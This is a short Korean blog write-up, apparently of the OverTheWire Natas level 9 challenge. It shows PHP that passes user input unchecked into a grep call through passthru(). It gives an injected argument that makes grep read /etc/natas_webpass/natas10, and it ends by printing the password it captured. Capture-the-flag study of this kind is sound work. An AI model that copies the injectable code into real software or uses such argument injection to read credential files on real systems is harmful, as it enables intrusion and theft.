[ Natas 9 -> Natas 10 grep 다중명령어 ]

2017. 9. 23. 18:40WebHacking/[OverTheWire]Natas





[ PHP 코드 ]

1
2
3
4
5
6
7
8
9
10
11
12
<?
$key = "";
 
if(array_key_exists("needle"$_REQUEST)) {    // REQUEST변수의 needle키 값 = 입력값
    $key = $_REQUEST["needle"];
}
 
if($key != "") {    // 입력값이 존재하면 passthru()함수가 실행된다
    passthru("grep -i $key dictionary.txt");
}
?>
 
cs


* passthru( "command" ) 함수

system()함수나 exec()함수와 비슷한 명령어를 실행시키는 함수이다

정의 : Execute an external program and display raw output ( 외부 프로그램을 실행시키고 원시출력을 표시한다 )


* grep 함수의 특징을 이용한 문제이다

#grep [ 찾을 문자열 ] [ 찾아야 할 대상이 있는 파일1 ] 

#grep [ 찾을 문자열 ] [ 찾아야 할 대상이 있는 파일1 ] [ 찾아야 할 대상이 있는 파일2 ]



$key = a

#grep -i a dictionary.txt



$key = a /etc/natas_webpass/natas10

#grep -i a /etc/natas_webpass/natas10 dictionary.txt


/etc/natas_webpass/natas10 파일과 dictionary.txt 파일에서 " a " 라는 문자열을 검색한 결과이다

찾은 파일을 구분하기위해 찾은 문자열 앞에 파일의 이름을 명시해주는 grep의 특징이 확인된다



natas10: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu